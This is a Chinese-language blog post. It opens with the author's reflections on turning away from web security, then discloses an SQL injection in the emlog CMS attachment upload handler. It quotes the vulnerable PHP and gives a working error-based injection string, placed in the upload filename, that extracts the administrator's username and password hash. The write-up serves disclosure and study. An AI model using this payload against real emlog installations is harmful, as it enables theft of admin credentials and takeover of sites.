51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

emlog后台作者权限SQL注入

实话说,以后不想再挖web漏洞了,也不想发这类文章,web的东西搞来搞起就是那个样,我原本就不想深入,想那些大神一样能把一个cms分析得透彻。我有时候只是泛泛地看,泛泛地找一些简单的漏洞,深入又得花不少时间,而且做出的东西也不一定尽如人意。前段时间总有种刷分刷钱的想法,结果后来都是化为泡影,估计也是因为自己对待漏洞的态度不正确,有时候也是受到他人的影响。

前几天某人问到我的一个学长,我才知道有些人虽然不常在网络上出现但实际上真正有实力的人完全不需要混脸熟。曾经我没接触web的时候多么向往去成为一个能写木马的人,也曾经确确实实分析过一段时间的gh0st,写过一些C++程序。

这几天有个朋友在我博客留言问我为什么gh0st的文章不继续写了,我无言以对。自己这么久执迷于python和php,似乎完全忘记自己的初衷。半年前我曾经抱怨自己,学了很多东西但实际上有关安全的知识自己知道的并不多,诸如逆向、免杀、漏洞分析。半年后的我虽然真正去研究起安全(不敢说精通web安全但也对各种web漏洞十分熟悉),但真的像自己想的那样,能成为一个了不起的安全研究者吗。

可能自己的路走偏了,web不是我的方向,我只是为了让自己更快更简单地成为一个所谓的"黑客"才去选择web安全。

我希望自己能在二进制代码与程序的路上,做一名安全研究者,虽然要比web上难走许多。在此之前,我把自己这几天写过的文章发在我博客,以后不想继续了。可能在听到别人说到xxcms注入或getshell的时候还是会心动,但坚持自己的本心,我相信理想一定会实现。


后台上传附件处,代码在/admin/attachment.php:

//上传附件
if ($action == 'upload') {
	$logid = isset($_GET['logid']) ? intval($_GET['logid']) : '';
	$attach = isset($_FILES['attach']) ? $_FILES['attach'] : '';
	if ($attach) {
		for ($i = 0; $i < count($attach['name']); $i++) {
			if ($attach['error'][$i] != 4) {
				$isthumbnail = Option::get('isthumbnail') == 'y' ? true : false;
				$file_info = uploadFile($attach['name'][$i], $attach['error'][$i], $attach['tmp_name'][$i], $attach['size'][$i], Option::getAttType(), false, $isthumbnail);
				// 写入附件信息
				$query = "INSERT INTO " . DB_PREFIX . "attachment (blogid, filename, filesize, filepath, addtime, width, height, mimetype, thumfor) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s', 0)";
				$query = sprintf($query, $logid, $file_info['file_name'], $file_info['size'], $file_info['file_path'], time(), $file_info['width'], $file_info['height'], $file_info['mime_type']);
				$DB->query($query);
				$aid = $DB->insert_id();
				$DB->query("UPDATE " . DB_PREFIX . "blog SET attnum=attnum+1 WHERE gid=$logid");
				// 写入缩略图信息
				if (isset($file_info['thum_file'])) {
					$query = "INSERT INTO " . DB_PREFIX . "attachment (blogid, filename, filesize, filepath, addtime, width, height, mimetype, thumfor) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s')";
					$query = sprintf($query, $logid, $file_info['file_name'], $file_info['thum_size'], $file_info['thum_file'], time(), $file_info['thum_width'], $file_info['thum_height'], $file_info['mime_type'], $aid);
					$DB->query($query);		
				}
			}
		}
	}
	emDirect("attachment.php?action=attlib&logid=$logid");
}

接受来的$_FILE变量,直接赋值给$attach 参数。其后调用uploadFile函数上传文件,将上传后的信息赋值给$file_info,而$file_info['file_name']是直接赋值的$attach['name'][$i]。最后将$file_info带入查询,造成了注入。

下面是演示。当你拥有后台作者权限后,登录后台发表文章处,上传一个图片,中途抓包:

01.jpg{#ematt:469}

如图,将filename修改成:
info',(select 1 from (select count(*),concat((select concat(username, 0x23, password) from emlog_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)p),'','','0','0','', 0)#.jpg
一个显错注入。发包以后查看回复包:

02.jpg{#ematt:471}

如图,可以得到管理员密码的hash。图中显示的不全是因为显错注入显示的长度有限,可以使用mysql的substring函数截取一部分显示,分两次注入完毕。
需要后台登录,虽然比较鸡肋,但某些emlog用户使用了自助注册等插件导致任何人可以注册成为作者,并轻易获取管理员权限。



赞(3)
未经允许不得转载:工具盒子 » emlog后台作者权限SQL注入